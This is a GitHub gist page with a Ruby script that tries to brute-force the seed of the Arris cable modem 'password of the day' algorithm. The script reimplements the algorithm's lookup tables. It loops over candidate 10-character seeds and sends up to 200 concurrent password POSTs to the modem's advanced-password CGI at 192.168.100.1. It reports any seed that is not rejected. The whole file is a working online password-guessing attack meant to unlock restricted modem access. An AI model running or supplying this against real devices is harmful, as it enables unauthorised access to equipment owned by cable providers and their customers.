Skip to content

Instantly share code, notes, and snippets.

@ttilley
Created September 7, 2012 07:57
Show Gist options
  • Save ttilley/3664214 to your computer and use it in GitHub Desktop.
Save ttilley/3664214 to your computer and use it in GitHub Desktop.
attempt to brute force an arris "password of the day" algorithm seed
require 'date'
require 'time'
require 'uri'
require 'net/http'
require 'typhoeus'
class PasswordOfTheDay
TABLE1 = [
[15, 15, 24, 20, 24],
[13, 14, 27, 32, 10],
[29, 14, 32, 29, 24],
[23, 32, 24, 29, 29],
[14, 29, 10, 21, 29],
[34, 27, 16, 23, 30],
[14, 22, 24, 17, 13]
]
TABLE2 = [
[0, 1, 2, 9, 3, 4, 5, 6, 7, 8],
[1, 4, 3, 9, 0, 7, 8, 2, 5, 6],
[7, 2, 8, 9, 4, 1, 6, 0, 3, 5],
[6, 3, 5, 9, 1, 8, 2, 7, 4, 0],
[4, 7, 0, 9, 5, 2, 3, 1, 8, 6],
[5, 6, 1, 9, 8, 0, 4, 3, 2, 7]
]
ALPHANUM = (0..9).to_a.map(&:to_s) + ('A'..'Z').to_a
ARRIS_ADVANCED_PASSWORD_URL = 'http://192.168.100.1/cgi-bin/adv_pwd_cgi'
ARRIS_ADVANCED_PASSWORD_URI = URI.parse(ARRIS_ADVANCED_PASSWORD_URL)
class << self
def reset!
@today = nil
@year_without_century = nil
@month = nil
@day_of_month = nil
@day_of_week = nil
@list1 = nil
end
def today
@today ||= Date.today
end
def year_without_century
@year_without_century ||= today.strftime('%y').to_i
end
def month
@month ||= today.month
end
def day_of_month
@day_of_month ||= today.day
end
def day_of_week
unless @day_of_week
@day_of_week = today.strftime('%w').to_i - 1
@day_of_week = 6 if @day_of_week < 0
end
@day_of_week
end
def list1
unless @list1
@list1 = 5.times.map {|i| TABLE1[day_of_week][i] }
@list1[5] = day_of_month
if ((year_without_century + month) - day_of_month) < 0
@list1[6] = (((year_without_century + month) - day_of_month) + 36) % 36
else
@list1[6] = ((year_without_century + month) - day_of_month) % 36
end
@list1[7] = (((3 + ((year_without_century + month) % 12)) * day_of_month) % 37) % 36
end
@list1
end
def try(seed=nil)
new(seed).valid?
end
def brute_force_seed
reset!
check_date = today.dup
iterations = queued = processed = processed_before = 0
hydra = Typhoeus::Hydra.new(:max_concurrency => 200)
before = Time.now
total_size = 36 ** 10
ALPHANUM.combination(10) do |seed|
iterations += 1
perform_check_date = (iterations % 600) == 0
perform_hydra_run = (iterations % 30) == 0
perform_log_info = (iterations % 200) == 0
if perform_check_date
date = Date.today
if date.xmlschema != check_date.xmlschema
STDERR.puts "\nnew day: resetting parameters and starting over\n"
reset!
check_date = today.dup
iterations = queued = processed = 0
hydra.abort
redo
end
end
pwod = new(seed)
request = pwod.request
request.on_complete do |response|
queued -= 1
processed += 1
if response.success? and response.body.scan('INVALID PASSWORD').length == 0
puts response.body
STDERR.puts "\n\nseed: #{seed.join('')}, password_of_the_day: #{pwod}, day: #{check_date.xmlschema}"
exit
end
end
hydra.queue(request)
queued += 1
hydra.run if perform_hydra_run
if perform_log_info
now = Time.now
runtime = now - before
before = now
processed_since_last = processed - processed_before
puts <<-EOT
Iteration: #{iterations}
Timestamp: #{check_date} [#{now.hour}:#{now.min}:#{now.sec}] +#{runtime}
Speed: #{processed_since_last} in #{runtime} seconds
Progress: #{processed}/#{total_size} (#{queued} queued)
EOT
processed_before = processed
end
end
hydra.run
end
end
def initialize(seed=nil)
if seed
@seed = seed.respond_to?(:split) ? seed.split('') : seed.to_a
else
@seed = 'MPSJKMDHAI'.split('')
end
end
def list1; self.class.list1; end
def list2
@list2 ||= 8.times.map {|i| @seed[i].ord % 36 }
end
def list3
unless @list3
@list3 = 8.times.map {|i| (list1[i] + list2[i]) % 36 }
@list3[8] = @list3.inject(0) {|memo, num| memo + num } % 36
@list3[9] = (@list3[8] % 6) ** 2
end
@list3
end
def list4
@list4 ||= 10.times.map {|i| list3[TABLE2[(list3[8] % 6)][i]] }
end
def list5
@list5 ||= 10.times.map {|i| (@seed[i].ord + list4[i]) % 36 }
end
def to_s
@string ||= 10.times.map {|i| ALPHANUM[list5[i]] }.join('')
end
def request
Typhoeus::Request.new(ARRIS_ADVANCED_PASSWORD_URL, {
:method => :post, :body => "pwd=#{self}"
})
end
def valid?
response = Net::HTTP.post_form ARRIS_ADVANCED_PASSWORD_URI, "pwd" => self.to_s
response.body.scan("INVALID PASSWORD").length == 0
end
end
if __FILE__ == $0
PasswordOfTheDay.brute_force_seed
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment